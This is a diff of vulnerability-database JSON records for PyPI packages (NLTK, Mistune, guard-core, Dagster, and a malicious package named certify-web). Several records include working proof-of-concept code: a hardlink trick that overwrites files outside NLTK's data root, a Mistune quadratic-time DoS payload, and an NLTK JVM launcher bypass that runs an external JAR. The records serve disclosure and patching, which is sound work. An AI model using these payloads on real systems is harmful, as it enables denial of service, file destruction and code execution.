PyPI. If you reported this issue, please install 3.13.0 and confirm it is resolved. You can reply in this advisory's discussion thread or open a new issue with the result.","affected":[{"package":{"name":"guard-core","ecosystem":"PyPI","purl":"pkg:pypi/guard-core"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.0.0"},{"fixed":"3.13.0"}]}],"versions":["1.0.0","1.0.1","1.0.2","1.0.3","1.1.0","1.2.0","1.2.1","2.0.0","2.1.0","2.2.0","2.2.1","2.2.2","3.0.0","3.1.0","3.1.1","3.10.0","3.11.0","3.12.0","3.2.0","3.3.0","3.4.0","3.5.0","3.6.0","3.7.0","3.7.1","3.8.0","3.8.1","3.9.0"],"database_specific":{"source":"https://github.com/github/advisoLine truncated
|
||||
@@ -0,0 +1 @@
|
||||
{"schema_version":"1.9.2","id":"GHSA-wr3g-j6qj-xpgh","published":"2026-11-19T23:59:15Z","modified":"2026-11-20T00:15:05.398589877Z","aliases":["CVE-2026-128135"],"summary":"NLTK: ZIP package extraction follows in-root hardlinks and overwrites files outside the NLTK data root","details":"## Summary\n\nNLTK ships a security wrapper, `nltk.pathsec.ZipFile`, that is meant to confine archive extraction to trusted data roots and to block link-based escapes. When `nltk.download()` installs a package, the extraction write opens each member's target path without checking whether that path is a hardlink to a file located outside the data root. A local actor who can write inside a shared or predictable NLTK data root (for example `~/nltk_data`, a group-writable `/usr/share/nltk_data`, or a shared container volume) can pre-plant an in-root hardlink at a member path that a soon-to-be-installed package will write. When the victim later runs the download, extraction truncates and overwrites the outside-root target through that hardlink. This is the same weakness class as the previously fixed downloader hardlink issue, but the fix did not reach the package-extraction write sink, so the latest published release remains exploitable through this path.\n\n## Root Cause\n\nThe prior fix added an `st_nlink > 1` refusal to the file-open helpers (`nltk.pathsec.open` / `_hardened_open`) and routed the downloader temporary-file write through that hardened opener, so a multiply-linked inode is refused on those paths. The extraction write sink was never given the same check. On published releases, `nltk.pathsec.ZipFile.extract` validates member names with `validate_zip_archive` and then delegates to the standard library extractor, whose plain `open(targetpath, \"wb\")` opens and truncates a pre-existing hardlink. The containment guard `validate_zip_archive` relies on `Path.resolve()` and name checks; `resolve()` follows symlinks (so a symlinked member is correctly refused) but a hardlink has a legitimate in-root name and in-root resolved path, so it passes. No code on the extraction path performs the `st_nlink` fstat that the sibling open helper performs.\n\n```text\nAffected component: nltk.pathsec (archive extraction), driven by nltk.downloader\nReleased sink (<= 3.10.3): nltk/pathsec.py ZipFile.extract -> stdlib zipfile._extract_member -> open(targetpath, \"wb\")\nContainment guard that fails open for hardlinks: nltk/pathsec.py validate_zip_archive (name checks + Path.resolve())\nDevelopment-branch sink: nltk/pathsec.py ZipFile._extract_member leaf reopen with O_WRONLY|O_TRUNC|O_NOFOLLOW (no st_nlink fstat)\n```\n\n## Impact\n\nAn unprivileged local user who can create a file inside a data root that the victim's NLTK installation will extract into can cause the victim's process to truncate and overwrite a file outside that root. The attacker chooses which outside file is destroyed by selecting the hardlink target, so the integrity impact is complete for the chosen path (arbitrary outside-root file destruction). Where the victim resolves packages through an attacker-influenced mirror or index, the overwritten bytes are also attacker-chosen, which plausibly enables targeted file replacement and later code execution if the victim subsequently consumes the replaced file; that escalation is plausible rather than demonstrated here. Practical exploitation requires either that kernel hardlink protection (`fs.protected_hardlinks`) is disabled, or that the outside target is one the planting actor is permitted to hardlink (owned, writable, or group-shared), which is the same precondition carried by the previously accepted advisory for this weakness class.\n\n## Proof of Concept\n\n`Dependencies: a released nltk (3.10.3) installed from PyPI. The demonstration creates a data root, a victim file outside it, and a package archive whose member path is pre-planted as a hardlink to the victim file, then extracts through the security wrapper. It runs as a single user and succeeds even with fs.protected_hardlinks=1.`\n\nSteps:\n1. Register a data root with `nltk.data.path` and create an extraction subtree inside it.\n2. Create a victim file outside the data root.\n3. Pre-plant an in-root hardlink at the member path the archive will write.\n4. Extract the archive through `nltk.pathsec.ZipFile.extract`.\n\n```python\nimport os, sys, tempfile, zipfile\nimport nltk\nimport nltk.pathsec as ps\n\nwork = tempfile.mkdtemp()\ndata_root = os.path.join(work, \"nltk_data\")\nextract_root = os.path.join(data_root, \"corpora\")\nos.makedirs(os.path.join(extract_root, \"pkgid\"))\nnltk.data.path.insert(0, data_root)\n\noutside = os.path.join(work, \"victim.txt\")\nopen(outside, \"w\").write(\"ORIGINAL-VICTIM-CONTENT\")\n\nzippath = os.path.join(data_root, \"pkg.zip\")\nwith zipfile.ZipFile(zippath, \"w\") as z:\n z.writestr(\"pkgid/target\", \"PWNED-BY-EXTRACTION\")\n\nmember_abs = os.path.join(extract_root, \"pkgid/target\")\nos.link(outside, member_abs) # preLine truncated
|
||||
@@ -0,0 +1 @@
|
||||
{"schema_version":"1.9.2","id":"GHSA-ww7q-mxrj-5ffg","published":"2026-11-19T22:44:00Z","modified":"2026-11-19T23:00:36.653352593Z","aliases":["CVE-2026-97699"],"summary":"Mistune: Quadratic-time DoS in inline image parsing (precedence_scan) bypasses not-is-image guards","details":"## Resolution\n\n**Fixed in Mistune 3.3.4.** Upgrade to 3.3.4 or later.\n\n- Affected versions: `< 3.3.4`\n- First patched version: `3.3.4`\n- Fix: https://github.com/lepture/mistune/compare/v3.3.3...v3.3.4\n\nThe reported payload was reproduced against the 3.3.3 release tag and verified to scale approximately linearly against the 3.3.4 release tag.\n\n## Original report\n\nThe following report describes the issue before the fix.\n\n## Summary\nmistune's inline image parsing reaches `precedence_scan` for `![` openers because the two guards that keep the link path linear are both gated behind `not is_image`. A small default-renderer document of the form `\"![\" * N + \"x\" + \"]\" * N` produces O(N²) CPU with no plugins.\n\n## Root Cause\nFor `![` openers, `is_image` is True, so both linearizing guards are skipped: `if not is_image and pos <= state.no_link_before` (inline_parser.py:141) and `has_nested_link = not is_image and _label_contains_link(...)` (:171). Execution reaches `precedence_scan` (:179) which runs `sc.search(state.src, mark_pos, end_pos)` over the whole image body — O(n) per outer opener, x O(n) openers -> O(n²). `max_image_depth` never fires because the failing scans never produce an image token (`image_depth` stays 0).\n\n## Impact\nA single unauthenticated request pins a worker at 100% CPU. Measured on default `mistune.html`, no plugins: 6KB->0.28s, 12KB->1.07s, 24KB->4.20s, 48KB->15.8s (2x input -> ~3.8x time).\n\n## Proof of Concept\n```python\nimport mistune\nmd = mistune.create_markdown() # default, no plugins\nmd(\"![\" * 16000 + \"x\" + \"]\" * 16000)\n```\n\n## Attack Chain\n1. Entry: rendered markdown -> `\"![\"*N + \"x\" + \"]\"*N` (no plugins). Guard: none on input size. Bypass proof: no global cap.\n2. Check: `not is_image` guards at inline_parser.py:141 (`no_link_before`) and :171 (`_label_contains_link`). Guard: high-water mark + nested-link short-circuit. Bypass proof: `is_image` is True for `![`, so BOTH guards are gated out; `max_image_depth` (:checked after) measured flat across all values because no image token is produced.\n3. Processing: reaches `precedence_scan` (:179) -> `sc.search(state.src, mark_pos, end_pos)` over the full body per opener.\n4. Sink: O(N) openers x O(N) scan -> O(N²) CPU.\n5. Impact: 48KB -> ~16s single-threaded worker stall.\n\n## Bypass Evidence\n- The LINK payload `\"[\"*n+\"x\"+\"]\"*n` is LINEAR on HEAD (0.076s @ 16k, ~2x per 2x) because links get the `_label_contains_link` short-circuit; the IMAGE payload `\"![\"*n+\"x\"+\"]\"*n` is O(n²) (0.27->1.05->3.92s, ~3.8x). Same HEAD, only `is_image` differs — proves the guard asymmetry, not incidental input growth.\n- `max_image_depth` set across 0..100 leaves runtime flat (no image token produced by failing scans).\n\n## Affected Versions\n`<= 3.3.3` (present on latest release tag v3.3.3 and HEAD).\n\n## Suggested Fix\nGeneralize the `no_link_before` high-water mark (and/or the `_label_contains_link` short-circuit) to cover the image path, so failed `![` scans do not each re-traverse the document.\n\n---\nReported by **zx (Jace)** — GitHub: @manus-use","affected":[{"package":{"name":"mistune","ecosystem":"PyPI","purl":"pkg:pypi/mistune"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.3.4"}]}],"versions":["0.1.0","0.2.0","0.3.0","0.3.1","0.4","0.4.1","0.5","0.5.1","0.6","0.7","0.7.1","0.7.2","0.7.3","0.7.4","0.8","0.8.1","0.8.2","0.8.3","0.8.4","2.0.0","2.0.0a1","2.0.0a2","2.0.0a3","2.0.0a4","2.0.0a5","2.0.0a6","2.0.0rc1","2.0.1","2.0.2","2.0.3","2.0.4","2.0.5","2.1.0","3.0.0","3.0.0a1","3.0.0a2","3.0.0a3","3.0.0rc1","3.0.0rc2","3.0.0rc3","3.0.0rc4","3.0.0rc5","3.0.1","3.0.2","3.1.0","3.1.1","3.1.2","3.1.3","3.1.4","3.2.0","3.2.1","3.3.0","3.3.1","3.3.2","3.3.3"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-ww7q-mxrj-5ffg/GHSA-ww7q-mxrj-5ffg.json"}}],"references":[{"type":"WEB","url":"https://github.com/lepture/mistune/security/advisories/GHSA-ww7q-mxrj-5ffg"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-97699"},{"type":"WEB","url":"https://github.com/lepture/mistune/commit/b4dd3284e52ec741ed9a227db29ade9017828e90"},{"type":"PACKAGE","url":"https://github.com/lepture/mistune"},{"type":"WEB","url":"https://github.com/lepture/mistune/releases/tag/v3.3.4"}],"database_specific":{"cwe_ids":["CWE-400","CWE-407"],"github_reviewed":true,"github_reviewed_at":"2026-11-19T22:44:00Z","nvd_published_at":"2026-11-17T20:18:00Z","severity":"HIGH"},"severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"}]}
|
||||
@@ -0,0 +1 @@
|
||||
{"schema_version":"1.9.2","id":"GHSA-x8q7-6c7m-52gw","published":"2026-11-19T23:55:54Z","modified":"2026-11-20T00:15:05.411020976Z","aliases":["CVE-2026-128138"],"summary":"NLTK incomplete fix: additional JVM/JAR sandbox bypass through unvalidated launcher tokens in java() command arguments","details":"## Summary\n\nNLTK 3.10.3 contains security hardening intended to close JVM argument-injection and untrusted JAR/classpath execution paths in `nltk.internals.java()`, including the issue published as GHSA-m4rf-3fr8-xwx3.\n\nThe patched `options` channel correctly rejects Java argument-file references such as `@/path/to/args` and launcher modes such as `-jar`. However, an additional argument channel remains: the caller-provided `cmd` sequence is appended to the Java command after the validated option and classpath channels, without enforcing that its first item is a Java main-class name.\n\nI am reporting this as an additional post-fix bypass / incomplete-fix path affecting the 3.10.3 remediation, rather than as an unrelated vulnerability family.\n\nAs a result, the same launcher token that is rejected through `options` can be supplied as the first `cmd` item. I confirmed two reachable forms against the official `nltk-3.10.3-py3-none-any.whl`:\n\n1. direct use of the public `nltk.internals.java()` helper with `cmd=[\"-jar\", ...]`; and\n2. the higher-level `StanfordSegmenter`, whose public `java_class` constructor argument becomes the first `cmd` item and accepts an `@argfile` launcher token.\n\nBoth paths execute an external researcher-controlled JAR without setting `NLTK_ALLOW_UNSAFE_JARS`, `NLTK_ALLOW_UNSAFE_CLASSPATH`, or using `trusted_raw_options`. The original explicit outside-classpath route is blocked in 3.10.3, while the alternate command channel executes the JAR 3/3 times.\n\n## Affected artifact\n\n```text\nPackage: nltk\nConfirmed affected version: 3.10.3\nWheel: nltk-3.10.3-py3-none-any.whl\nSHA-256: ff9598a8e20518ee0d557745890cc4435b9578489e2dcbc69c4f81fa060caf7c\n```\n\nBaseline artifact:\n\n```text\nVersion: 3.10.2\nWheel: nltk-3.10.2-py3-none-any.whl\nSHA-256: 2c7ccacb765c5e26b0cb60fb1b57080af522c6924d12a714a243305ba3637412\n```\n\n## Relationship to the 3.10.3 security fixes\n\nThe existing 3.10.3 hardening validates the dedicated per-call `options` list before it reaches `subprocess.Popen`. In particular, the exact `@argfile` token used in this report is rejected through `options` with a `ValueError` that references CVE-2026-12841 and CWE-88.\n\nThe command is subsequently assembled in this order:\n\n```python\nfinal_cmd.extend(validated_options)\nif classpath_arg is not None:\n final_cmd.extend([\"-cp\", classpath_arg])\nfinal_cmd.extend(cmd_list)\n```\n\n`cmd_list` is copied from the public `cmd` argument but its first token is not checked to ensure that it is an ordinary Java main class. Java therefore interprets leading `-jar`, `@argfile`, module-mode, or classpath-mode tokens as launcher control arguments rather than application arguments.\n\nThis is an alternate argument channel around the same JVM argument/JAR execution boundary protected by the 3.10.3 changes.\n\n## Confirmed API paths\n\n### Direct public helper\n\n```python\nnltk.internals.java(\n [\"-jar\", \"/outside/trusted/roots/controlled.jar\"],\n classpath=None,\n stdout=\"pipe\",\n stderr=\"pipe\",\n)\n```\n\nThe external JAR executed in all three subject runs.\n\n### Higher-level `StanfordSegmenter` path\n\n`StanfordSegmenter` exposes a public `java_class` constructor argument, stores it, and later places it at the beginning of the `cmd` sequence passed to `nltk.internals.java()`.\n\nA controlled argument file containing a `-jar` launcher invocation was supplied as:\n\n```python\nStanfordSegmenter(\n path_to_jar=trusted_segmenter_jar,\n java_class=\"@/path/to/controlled-launcher.args\",\n path_to_model=\"dummy-model\",\n java_options=[],\n)\n```\n\nThe trusted segmenter JAR passed the wrapper's checksum and classpath checks. The `@argfile` then switched the Java launcher to the external JAR, which executed in all three runs.\n\nThe deprecated wrapper subsequently raised an unrelated post-launch `AttributeError` while processing its output. The external marker had already been written by the child JVM before that exception.\n\n## Proof matrix\n\n```text\nR1 NLTK 3.10.2 + explicit external classpath\n -> controlled Java bytecode executed\n\nR2 NLTK 3.10.3 + same explicit external classpath\n -> UntrustedJarError; no marker\n\nR3A NLTK 3.10.3 + direct cmd=[\"-jar\", external_jar]\n -> controlled external JAR executed, 3/3\n\nR3B NLTK 3.10.3 + StanfordSegmenter(java_class=\"@argfile\")\n -> controlled external JAR executed, 3/3\n\nR4 NLTK 3.10.3 + ordinary main class in trusted classpath\n -> legitimate execution preserved\n```\n\nA direct channel comparison also confirmed:\n\n```text\noptions=[\"@argfile\"] -> BLOCKED\ncmd/java_class=\"@argfile\" -> EXTERNAL JAR EXECUTED\nLine truncated
|
||||
@@ -0,0 +1 @@
|
||||
{"schema_version":"1.9.2","id":"GHSA-xfcv-m889-fmqg","published":"2026-11-19T23:52:20Z","modified":"2026-11-20T00:00:04.079126201Z","aliases":["CVE-2026-129225"],"summary":"NLTK: Uncontrolled recursion in DependencyGraph traversal causes denial of service via deep dependency chains","details":"## Root Cause\nThe dependency-graph traversal helpers recurse over dependency links without any depth\nbound or visited set. `DependencyGraph._tree` (`nltk/parse/dependencygraph.py:404`)\nrecurses once per dependency link, `triples` (`nltk/parse/dependencygraph.py:432`) is a\nrecursive generator, and `get_cycle_path` (`nltk/parse/dependencygraph.py:520`) recurses\nover dependencies. The neighbouring `contains_cycle` method was deliberately rewritten as\nan iterative depth-first search, but these sibling helpers on the public traversal path\nwere left recursive with no depth counter.\n\n## Impact\nAn application that parses an untrusted CoNLL/Malt-TAB dependency structure and then walks\nit via `tree()` or `triples()` aborts with an unhandled `RecursionError`, terminating the\naffected operation or request worker (denial of service, CWE-674). The recursion is pure\nPython, so the result is a catchable `RecursionError`, not memory corruption or code\nexecution. Confidentiality and integrity are unaffected. `get_cycle_path` additionally\nlacks a visited set and will not terminate on a genuine cycle.\n\n## Attack Chain\n1. The application constructs `DependencyGraph(conll_str)` from attacker-supplied text\n where token *k*'s head is token *k+1*, forming a linear dependency chain of length *N*.\n Graph construction (`_parse`) is iterative and completes without error.\n2. The application calls the public `DependencyGraph.tree()`\n (`nltk/parse/dependencygraph.py:408`), which invokes `_tree(root)`.\n3. `_tree` recurses once per chain link with no depth guard and no visited set, consuming\n one stack frame per link (the list comprehension costs roughly two frames per level).\n4. Once the chain length exceeds the interpreter recursion limit, an unhandled\n `RecursionError` propagates out of the public API. `triples()` fails the same way.\n\n## Bypass Evidence\nAgainst the shipped source at the default recursion limit, a chain of length 5 walks\ncleanly through `tree()`, while a chain of length 5000 raises an unhandled\n`RecursionError`; `triples()` fails identically. The minimal trigger is roughly *N*=500\ntokens at the default recursion limit — a modest, realistic parse. Because the graph\nbuilds iteratively in both cases, the fault is isolated to the recursive traversal rather\nthan to parsing. A repository-wide search confirms no depth guard exists in this file; the\niterative rewrite was applied only to `contains_cycle`.\n\n## Suggested Fix\nConvert `_tree`, `triples`, and `get_cycle_path` to iterative traversals, or add a\nrecursion-depth bound (and, for `get_cycle_path`, a visited set) analogous to the\niterative rewrite already applied to `contains_cycle`.\n\nReported by pi (GitHub: @manus-pi).\n\n## Fix status (2026-09-28)\n\nStatus: MERGED on develop (unreleased; v3.10.3 of 2026-08-12 predates the fix).\n\nPR: #3885 \"Bound recursion depth in parsers and traversal helpers\" (ekaf), merged 2026-09-11, merge commit e521ecafc on develop.\n\nFix commit: a74682757 (nltk/parse/dependencygraph.py: _tree, tree and triples stop at MAX_DEPTH=200 with ValueError).\n\nProbe: nltk/test/unit/security_probes/ghsa_xfcv_m889_fmqg.py (added in 2a6704952 on that PR); verdict on develop 2fa3f48fe: FIXED (bounded in tree() (ValueError)).\n\nRelease: none yet; no release tag contains e521ecafc.","affected":[{"package":{"name":"nltk","ecosystem":"PyPI","purl":"pkg:pypi/nltk"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.10.4"}]}],"versions":["0.8","0.9","0.9.3","0.9.4","0.9.5","0.9.6","0.9.7","0.9.8","0.9.9","2.0.1","2.0.1rc1","2.0.1rc2-git","2.0.1rc3","2.0.1rc4","2.0.2","2.0.3","2.0.4","2.0.5","2.0b4","2.0b5","2.0b6","2.0b7","2.0b8","2.0b9","3.0.0","3.0.0b1","3.0.0b2","3.0.1","3.0.2","3.0.3","3.0.4","3.0.5","3.1","3.10.0","3.10.1","3.10.2","3.10.3","3.2","3.2.1","3.2.2","3.2.3","3.2.4","3.2.5","3.3","3.4","3.4.1","3.4.2","3.4.3","3.4.4","3.4.5","3.5","3.5b1","3.6","3.6.1","3.6.2","3.6.3","3.6.4","3.6.5","3.6.6","3.6.7","3.7","3.8","3.8.1","3.9","3.9.1","3.9.2","3.9.3","3.9.4","3.9b1"],"database_specific":{"last_known_affected_version_range":"<= 3.10.3","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-xfcv-m889-fmqg/GHSA-xfcv-m889-fmqg.json"}}],"references":[{"type":"WEB","url":"https://github.com/nltk/nltk/security/advisories/GHSA-xfcv-m889-fmqg"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-129225"},{"type":"WEB","url":"https://github.com/nltk/nltk/pull/3885"},{"type":"WEB","url":"https://github.com/nltk/nltk/commit/a74682757cee8c11128ad277d2f2bd0b8e1884ff"},{"type":"PACKAGE","url":"https://github.com/nltk/nltk"},{"type":"WLine truncated
|
||||
@@ -0,0 +1 @@
|
||||
{"schema_version":"1.9.2","id":"MAL-2026-20257","published":"2026-11-19T21:50:33Z","modified":"2026-11-19T22:15:03.904490807Z","summary":"Malicious code in certify-web (PyPI)","details":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: kam193 (0967f829a27c14c8f6fdec12a380352683e1752bb117a4c8bec3c9554844b797)\nPackage installs a PTH file that during every Python startup installs a NinjaOne (legitimate remote management tool) agent tied to the attacker-controlled account and ensures its persistence. As such, the attacker gains full control over the machine.\n\n\n---\n\nCategory: MALICIOUS - The campaign has clearly malicious intent, like infostealers.\n\n\nCampaign: 2026-11-certify-web\n\n\nReasons (based on the campaign):\n\n\n - rat\n\n\n - abuses-pth\n\n\n - persistence\n","affected":[{"package":{"name":"certify-web","ecosystem":"PyPI","purl":"pkg:pypi/certify-web"},"versions":["0.1.3"],"database_specific":{"source":"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/pypi/certify-web/MAL-2026-20257.json"}}],"references":[{"type":"WEB","url":"https://www.ninjaone.com/rmm/"},{"type":"WEB","url":"https://bad-packages.kam193.eu/pypi/package/certify-web"}],"database_specific":{"malicious-packages-origins":[{"id":"pypi/2026-11-certify-web/certify-web","import_time":"2026-11-19T22:11:06.127488223Z","modified_time":"2026-11-19T21:50:33.05376Z","sha256":"0967f829a27c14c8f6fdec12a380352683e1752bb117a4c8bec3c9554844b797","source":"kam193","versions":["0.1.3"]}]},"credits":[{"name":"Kamil Mańkowski (kam193)","contact":["https://github.com/kam193","https://bad-packages.kam193.eu/"],"type":"REPORTER"}]}
|
||||
@@ -1 +1 @@
|
||||
{"schema_version":"1.9.2","id":"PYSEC-2025-102","published":"2025-07-22T17:15:33.543Z","modified":"2026-11-12T20:45:02.317537019Z","aliases":["CVE-2025-51481","GHSA-h7x8-jv97-fvvm","PYSEC-2026-1286"],"details":"Local File Inclusion in dagster._grpc.impl.get_notebook_data in Dagster 1.10.14 allows attackers with access to the gRPC server to read arbitrary files by supplying path traversal sequences in the notebook_path field of ExternalNotebookData requests, bypassing the intended extension-based check.","affected":[{"package":{"name":"dagster-ge","ecosystem":"PyPI","purl":"pkg:pypi/dagster-ge"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"1.10.14"}]}],"versions":["0.10.0","0.10.0rc0","0.10.1","0.10.1rc0","0.10.2","0.10.2rc0","0.10.3","0.10.3rc0","0.10.4","0.10.4rc0","0.10.5","0.10.5rc0","0.10.6","0.10.6rc0","0.10.7","0.10.7rc0","0.10.8","0.10.8rc0","0.10.9","0.11.0","0.11.0rc0","0.11.1","0.11.10","0.11.10rc0","0.11.10rc1","0.11.10rc2","0.11.11","0.11.11rc1","0.11.11rc5","0.11.11rc7","0.11.12","0.11.12rc0","0.11.12rc2","0.11.12rc3","0.11.13","0.11.13rc2","0.11.13rc3","0.11.13rc5","0.11.14","0.11.14rc0","0.11.14rc1","0.11.14rc2","0.11.14rc3","0.11.14rc4","0.11.14rc5","0.11.14rc7","0.11.14rc8","0.11.15","0.11.15rc0","0.11.15rc1","0.11.16","0.11.16rc10","0.11.16rc18","0.11.1rc0","0.11.2","0.11.2rc0","0.11.3","0.11.3rc0","0.11.4","0.11.4rc0","0.11.5","0.11.5rc0","0.11.5rc1","0.11.6","0.11.6rc11","0.11.6rc13","0.11.6rc14","0.11.6rc15","0.11.6rc16","0.11.6rc17","0.11.6rc18","0.11.6rc19","0.11.6rc20","0.11.6rc21","0.11.6rc22","0.11.6rc23","0.11.6rc24","0.11.6rc25","0.11.6rc26","0.11.6rc27","0.11.6rc28","0.11.6rc29","0.11.6rc31","0.11.6rc32","0.11.6rc5","0.11.6rc7","0.11.6rc8","0.11.6rc9","0.11.7","0.11.7rc1","0.11.7rc10","0.11.7rc13","0.11.7rc14","0.11.7rc2","0.11.7rc3","0.11.7rc4","0.11.7rc6","0.11.7rc7","0.11.7rc8","0.11.7rc9","0.11.8","0.11.8rc4","0.11.8rc5","0.11.9","0.11.9rc10","0.11.9rc11","0.11.9rc12","0.11.9rc6","0.11.9rc7","0.11.9rc8","0.12.0","0.12.0rc0","0.12.1","0.12.10","0.12.10rc0","0.12.10rc1","0.12.11","0.12.11rc0","0.12.12","0.12.12rc0","0.12.13","0.12.13rc0","0.12.14","0.12.14rc0","0.12.14rc1","0.12.14rc2","0.12.15","0.12.15rc2","0.12.1rc0","0.12.2","0.12.2rc0","0.12.3","0.12.3rc1","0.12.4","0.12.4rc0","0.12.4rc1","0.12.5","0.12.5rc0","0.12.6","0.12.6rc0","0.12.7","0.12.7rc0","0.12.8","0.12.8rc0","0.12.9","0.12.9rc0","0.12.9rc1","0.12.9rc2","0.13.0","0.13.0rc0","0.13.1","0.13.10","0.13.10rc3","0.13.11","0.13.11rc0","0.13.12","0.13.12rc2","0.13.13","0.13.13rc0","0.13.14","0.13.14rc0","0.13.15","0.13.15rc0","0.13.16","0.13.16rc0","0.13.17","0.13.17rc0","0.13.18","0.13.18rc0","0.13.19","0.13.19rc2","0.13.1rc0","0.13.2","0.13.2rc0","0.13.2rc2","0.13.3","0.13.3rc0","0.13.4","0.13.4rc0","0.13.5","0.13.5rc0","0.13.6","0.13.6rc0","0.13.7","0.13.7rc0","0.13.8","0.13.8rc0","0.13.9","0.13.9rc0","0.14.0","0.14.0rc0","0.14.1","0.14.10","0.14.11","0.14.12","0.14.13","0.14.14","0.14.15","0.14.16","0.14.16rc2","0.14.16rc3","0.14.16rc4","0.14.17","0.14.17rc10","0.14.17rc3","0.14.17rc4","0.14.17rc5","0.14.17rc6","0.14.17rc7","0.14.17rc8","0.14.18","0.14.18rc2","0.14.18rc3","0.14.18rc4","0.14.18rc5","0.14.18rc6","0.14.19","0.14.1rc0","0.14.2","0.14.20","0.14.20rc0","0.14.21rc0","0.14.2rc0","0.14.3","0.14.3rc0","0.14.4","0.14.4rc0","0.14.5","0.14.5rc0","0.14.6","0.14.6rc0","0.14.7","0.14.7rc0","0.14.8","0.14.8rc1","0.14.9","0.14.9rc0","0.15.0","0.15.1","0.15.10","0.15.2","0.15.3","0.15.4","0.15.5","0.15.6","0.15.7","0.15.8","0.15.9","0.16.0","0.16.0rc2","0.16.1","0.16.10","0.16.11","0.16.12","0.16.13","0.16.14","0.16.15","0.16.16","0.16.17","0.16.2","0.16.3","0.16.4","0.16.6","0.16.7","0.16.8","0.16.9","0.17.1","0.17.10","0.17.11","0.17.12","0.17.13","0.17.14","0.17.15","0.17.16","0.17.17","0.17.17rc0","0.17.18","0.17.19","0.17.2","0.17.20","0.17.21","0.17.3","0.17.4","0.17.5","0.17.6","0.17.7","0.17.8","0.17.9","0.18.0","0.18.1","0.18.2","0.18.3","0.18.4","0.18.5","0.18.6","0.18.7","0.19.0","0.19.1","0.19.10","0.19.11","0.19.12","0.19.13","0.19.14","0.19.14rc1","0.19.14rc2","0.19.2","0.19.3","0.19.4","0.19.5","0.19.6","0.19.7","0.19.8","0.19.9","0.19.9rc0","0.20.0","0.20.1","0.20.10","0.20.11","0.20.12","0.20.13","0.20.13rc0","0.20.13rc1","0.20.14","0.20.15","0.20.16","0.20.17","0.20.2","0.20.3","0.20.4","0.20.5","0.20.6","0.20.7","0.20.8","0.20.9","0.21.0","0.21.1","0.21.10","0.21.11","0.21.12","0.21.13","0.21.14","0.21.14rc0","0.21.2","0.21.3","0.21.4","0.21.5","0.21.6","0.21.7","0.21.8","0.21.9","0.22.0","0.22.1","0.22.10","0.22.11","0.22.12","0.22.13","0.22.14","0.22.2","0.22.3","0.22.4","0.22.5","0.22.6","0.22.7","0.22.8","0.22.9","0.23.0","0.23.1","0.23.10","0.23.11","0.23.12","0.23.13","0.23.14","0.23.15","0.23.16","0.23.2","0.23.2rc1","0.23.2rc2","0.23.2rc3","0.23.2rc4","0.23.3","0.23.4","0.23.5","0.23.6","0.23.7","0.23.8","0.23.9","0.23.9rc0","0.24.0","0.24.1","0.24.10","0.24.11","0.24.12","0.24.13","0.24.2","0.24.3","0.24.4","0.24.5","0.24.6","0.24.7","0.24.8","0.24.9","0.2Line truncated
|
||||
{"schema_version":"1.9.2","id":"PYSEC-2025-102","published":"2025-07-22T17:15:33.543Z","modified":"2026-11-19T22:15:01.752405559Z","aliases":["CVE-2025-51481","GHSA-h7x8-jv97-fvvm","PYSEC-2026-1286"],"details":"Local File Inclusion in dagster._grpc.impl.get_notebook_data in Dagster 1.10.14 allows attackers with access to the gRPC server to read arbitrary files by supplying path traversal sequences in the notebook_path field of ExternalNotebookData requests, bypassing the intended extension-based check.","affected":[{"package":{"name":"dagster-ge","ecosystem":"PyPI","purl":"pkg:pypi/dagster-ge"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"1.10.14"}]}],"versions":["0.10.0","0.10.0rc0","0.10.1","0.10.1rc0","0.10.2","0.10.2rc0","0.10.3","0.10.3rc0","0.10.4","0.10.4rc0","0.10.5","0.10.5rc0","0.10.6","0.10.6rc0","0.10.7","0.10.7rc0","0.10.8","0.10.8rc0","0.10.9","0.11.0","0.11.0rc0","0.11.1","0.11.10","0.11.10rc0","0.11.10rc1","0.11.10rc2","0.11.11","0.11.11rc1","0.11.11rc5","0.11.11rc7","0.11.12","0.11.12rc0","0.11.12rc2","0.11.12rc3","0.11.13","0.11.13rc2","0.11.13rc3","0.11.13rc5","0.11.14","0.11.14rc0","0.11.14rc1","0.11.14rc2","0.11.14rc3","0.11.14rc4","0.11.14rc5","0.11.14rc7","0.11.14rc8","0.11.15","0.11.15rc0","0.11.15rc1","0.11.16","0.11.16rc10","0.11.16rc18","0.11.1rc0","0.11.2","0.11.2rc0","0.11.3","0.11.3rc0","0.11.4","0.11.4rc0","0.11.5","0.11.5rc0","0.11.5rc1","0.11.6","0.11.6rc11","0.11.6rc13","0.11.6rc14","0.11.6rc15","0.11.6rc16","0.11.6rc17","0.11.6rc18","0.11.6rc19","0.11.6rc20","0.11.6rc21","0.11.6rc22","0.11.6rc23","0.11.6rc24","0.11.6rc25","0.11.6rc26","0.11.6rc27","0.11.6rc28","0.11.6rc29","0.11.6rc31","0.11.6rc32","0.11.6rc5","0.11.6rc7","0.11.6rc8","0.11.6rc9","0.11.7","0.11.7rc1","0.11.7rc10","0.11.7rc13","0.11.7rc14","0.11.7rc2","0.11.7rc3","0.11.7rc4","0.11.7rc6","0.11.7rc7","0.11.7rc8","0.11.7rc9","0.11.8","0.11.8rc4","0.11.8rc5","0.11.9","0.11.9rc10","0.11.9rc11","0.11.9rc12","0.11.9rc6","0.11.9rc7","0.11.9rc8","0.12.0","0.12.0rc0","0.12.1","0.12.10","0.12.10rc0","0.12.10rc1","0.12.11","0.12.11rc0","0.12.12","0.12.12rc0","0.12.13","0.12.13rc0","0.12.14","0.12.14rc0","0.12.14rc1","0.12.14rc2","0.12.15","0.12.15rc2","0.12.1rc0","0.12.2","0.12.2rc0","0.12.3","0.12.3rc1","0.12.4","0.12.4rc0","0.12.4rc1","0.12.5","0.12.5rc0","0.12.6","0.12.6rc0","0.12.7","0.12.7rc0"